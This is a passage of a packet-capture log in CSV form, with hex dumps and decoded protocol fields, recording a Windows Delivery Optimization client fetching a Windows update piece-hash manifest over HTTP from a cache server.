HTTPRequest,5,HTTP Request: GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,bc24112907bbbc2411360d0c0800450001bb28f7400080069b340a98980b4d5f450ffa11005003197b86e44972255018201473f10000474554202f7068662f632f646f632f70682f70726f64352f6d73646f776e6c6f61642f7570646174652f736f6674776172652f736563752f323032352f30392f313032342f77696e646f777331302e302d6b62353036363133302d7836342d6e64703438315f303630343666656537653834666462323532626630646661306435313737326164613536303462652e6361622e6a736f6e3f6361636865486f73744f726967696e3d646f776e6c6f61642e77696e646f77737570646174652e636f6d20485454502f312e310d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6963726f736f66742d44656c69766572792d4f7074696d697a6174696f6e2f31302e300d0a4d532d43563a2055384c634a70724350452b717533576e2e312e312e372e322e342e312e310d0a436f6e74656e742d4c656e6774683a20300d0a486f73743a2037372e39352e36392e31350d0a0d0a,\".$.)...$.6\n...E...(.@....4\n...M_E....P..{..Ir%P. .s...GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Microsoft-Delivery-Optimization/10.0\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1\nContent-Length: 0\nHost: 77.95.69.15\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 443, \"\"id\"\": 10487, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 39732, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.15\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64017, \"\"dport\"\": 80, \"\"seq\"\": 52001670, \"\"ack\"\": 3830018597, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 29681, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"*/*\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": \"\"gzip, deflate\"\", \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": \"\"0\"\", \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"77.95.69.15\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Microsoft-Delivery-Optimization/10.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CV': b'U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1'}\"\"}}]\"\n2026-07-09 15:36:00.398745,5,TCP 77.95.69.15:80 -> 10.152.152.11:64017,77.95.69.15,10.152.152.11,80,64017,TCP,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3830018597 Ack=52002073,bc2411360d0cbc24112907bb080045000028da1e400040062ba04d5f450f0a98980b0050fa11e449722503197d195010003f352c0000,\".$.6\n..$.)....E..(..@.@.+.M_E.\n....P...Ir%..}.P..?5,..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 55838, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 11168, \"\"src\"\": \"\"77.95.69.15\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64017, \"\"seq\"\": 3830018597, \"\"ack\"\": 52002073, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 13612, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 15:36:00.844232,6,TCP 77.95.69.15:80 -> 10.152.152.11:64017,77.95.69.15,10.152.152.11,80,64017,TCP,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,bc2411360d0cbc24112907bb080045000d80da1f400040061e474d5f450f0a98980b0050fa11e449722503197d195018003f42840000485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a205468752c203039204a756c20323032362031353a33363a303020474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20333739330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a207075626c69632c6d61782d6167653d3137323830300d0a4c6173742d4d6f6469666965643a204d6f6e2c203133204f637420323032352032323a33353a343620474d540d0a5669613a20312e31207661726e6973680d0a4167653a2033320d0a582d5365727665642d42793a2063616368652d7061722d6c667067313936303032342d5041520d0a582d43616368653a204849540d0a582d43616368652d486974733a20370d0a582d54696d65723a2053313736303436313234342e3332363837382c5653302c5645300d0a582d4349443a2031303030320d0a582d4343433a2034373966613665642d353561612d343263322d393733302d6136303866383937333263380d0a436f6e74656e742d53656375726974792d506f6c6963793a2064656661756c742d737263202773656c662720687474703a2068747470733a20646174613a20626c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a205354414c450d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d785258,\"{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRX\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 55839, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 7751, \"\"src\"\": \"\"77.95.69.15\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64017, \"\"seq\"\": 3830018597, \"\"ack\"\": 52002073, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 17028, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": \"\"bytes\"\", \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": \"\"32\"\", \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public,max-age=172800\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"3793\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": \"\"default-src 'self' http: https: data: blob: 'unsafe-inline'\"\", \"\"Content_Type\"\": \"\"application/json\"\", \"\"Date\"\": \"\"Thu, 09 Jul 2026 15:36:00 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Mon, 13 Oct 2025 22:35:46 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": \"\"nginx\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": \"\"1.1 varnish\"\", \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": \"\"SAMEORIGIN\"\", \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": \"\"1; mode=block\"\", \"\"Unknown_Headers\"\": \"\"{b'X-Served-By': b'cache-par-lfpg1960024-PAR', b'X-Cache': b'HIT', b'X-Cache-Hits': b'7', b'X-Timer': b'S1760461244.326878,VS0,VE0', b'X-CID': b'10002', b'X-CCC': b'479fa6ed-55aa-42c2-9730-a608f89732c8', b'X-Cache-Status': b'STALE'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"MajorVersion\\\"\":1,\\\"\"MinorVersion\\\"\":0,\\\"\"HashOfHashes\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"HashOfHashesString\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"ContentLength\\\"\":79240605,\\\"\"PieceSize\\\"\":1048576,\\\"\"Pieces\\\"\":[\\\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\"\",\\\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\"\",\\\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\"\",\\\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\"\",\\\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\"\",\\\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\"\",\\\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\"\",\\\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\"\",\\\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\"\",\\\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\"\",\\\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\"\",\\\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\"\",\\\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\"\",\\\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\"\",\\\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\"\",\\\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\"\",\\\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\"\",\\\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\"\",\\\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\"\",\\\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\"\",\\\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\"\",\\\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\"\",\\\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\"\",\\\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\"\",\\\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\"\",\\\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\"\",\\\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\"\",\\\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\"\",\\\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\"\",\\\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\"\",\\\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\"\",\\\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\"\",\\\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\"\",\\\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\",\\\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\"\",\\\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\"\",\\\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\"\",\\\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\"\",\\\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\"\",\\\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\"\",\\\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\"\",\\\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\"\",\\\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\"\",\\\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\"\",\\\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\"\",\\\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\"\",\\\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\"\",\\\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\"\",\\\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\"\",\